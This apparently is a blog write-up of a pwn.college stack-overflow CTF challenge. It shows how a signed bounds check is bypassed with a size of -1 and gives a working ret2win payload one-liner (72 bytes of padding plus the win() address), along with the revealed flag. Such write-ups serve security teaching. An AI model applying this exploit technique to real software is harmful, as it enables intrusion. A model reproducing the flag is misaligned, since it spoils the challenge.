PWN.college->program security-> memory corruption challenges-> bounds-breaker-hard writeup
Challenge Description
Overflow a buffer and smash the stack to obtain the flag, but this time bypass a check designed to prevent you from doing so!
1. Introduction
The challenge is a 64-bit Linux binary that contains a stack-based buffer overflow vulnerability. The program asks the user to enter a payload size and then reads that many bytes into a stack buffer.
However, a bounds check prevents the user from entering a size greater than 45. The objective is to bypass this check, overflow the buffer, overwrite the saved return address, and redirect execution to the win() function to obtain the flag.
2. Analyzing the Binary
We first examined the binary using GDB and disassembled the challenge() function.
0x0000000000401703 <challenge>:
endbr64
push %rbp
mov %rsp,%rbp
sub $0x70,%rspThe instruction sub $0x70,%rsp allocates 112 bytes of stack space for local variables.
The buffer is initialized at:
lea -0x40(%rbp),%rax
mov %rax,-0x8(%rbp)This shows that the buffer begins at rbp - 0x40.
The binary also contains a function called win():
0x00000000004015fc <win>This function opens the flag file, reads the flag, and prints it.
3. Identifying the Bounds Check
The program reads the payload size using scanf():
lea -0x44(%rbp),%rax
mov %rax,%rsi
lea 0x40211b,%rdi
call __isoc99_scanf@pltThe size is stored at rbp - 0x44.
The following instructions perform the bounds check:
mov -0x44(%rbp),%eax
cmp $0x2d,%eax
jle 0x4017a3The value 0x2d is 45 in decimal.
The equivalent C code is:
if (size > 45) {
puts("...");
exit(1);
}This means any size greater than 45 is rejected.
4. Identifying the Vulnerability
After the bounds check, the program calls read():
mov -0x44(%rbp),%eax
mov %eax,%edxmov -0x8(%rbp),%rax
mov %rax,%rsimov $0x0,%edi
call 0x401150 <read@plt>
The equivalent C code is:
read(0, buffer, size);The vulnerability is caused by the mismatch between the signed integer used for the bounds check and the unsigned size argument used by read().
The size is a signed 32-bit integer, but read() expects a size_t, which is unsigned.
5. Bypassing the Bounds Check
We entered:
-1The bounds check evaluates:
-1 > 45This is false, so the program does not exit.
However, the value is passed to read() as an unsigned size. The 32-bit value becomes:
0xffffffffThis corresponds to:
4294967295as an unsigned 32-bit value.
Get Praba’s stories in your inbox
Join Medium for free to get updates from this writer.
Therefore, the program allows us to send a payload much larger than the intended 45-byte limit.
This bypass allows us to overwrite the saved return address on the stack.
6. Calculating the Buffer Overflow Offset
The buffer begins at:
rbp - 0x40The saved return address is located at:
rbp + 0x8The distance between them is:
0x40 + 0x8 = 0x48Converting to decimal:
0x48 = 72 bytesTherefore, we need 72 bytes of padding to reach the saved return address.
7. Redirecting Execution to win()
The address of the win() function is:
0x4015fcSince x86–64 systems use little-endian byte order, the address is packed using:
p64(0x4015fc)The final payload is:
b"A" * 72 + p64(0x4015fc)The payload consists of:
- 72 bytes of padding.
- The address of
win().
When the function returns, execution is redirected to win() instead of returning to the original caller.
8. Exploit
The final exploit was executed using:
python3 -c 'import sys; sys.stdout.buffer.write(b"-1\n" + b"A"*72 + (0x4015fc).to_bytes(8,"little"))' | /challenge/bounds-breaker-hardThis sends:
-1as the payload size, followed by the overflow payload.
9. Result
The exploit successfully bypassed the bounds check and redirected execution to win().
The challenge printed the flag:
pwn.college{sqzbi9phh0ygc5vEf9xuEns0tVq.dZTOywCO5IDOxIzW}10. Conclusion
The challenge demonstrates how a signed integer bounds check can be bypassed when the checked value is later used as an unsigned size argument.
The main vulnerability was the mismatch between the signed integer check and the unsigned read() size.
By entering -1, we bypassed the check, overflowed the stack buffer using 72 bytes of padding, and overwrote the saved return address with the address of win().
This redirected execution to the flag-printing function and successfully solved the challenge.
Key Takeaways
- Signed and unsigned integer conversions can create security vulnerabilities.
- Stack buffer overflows can overwrite saved return addresses.
- Little-endian byte order is important when packing addresses.
- Ret2win is a common technique in beginner and intermediate binary exploitation challenges.


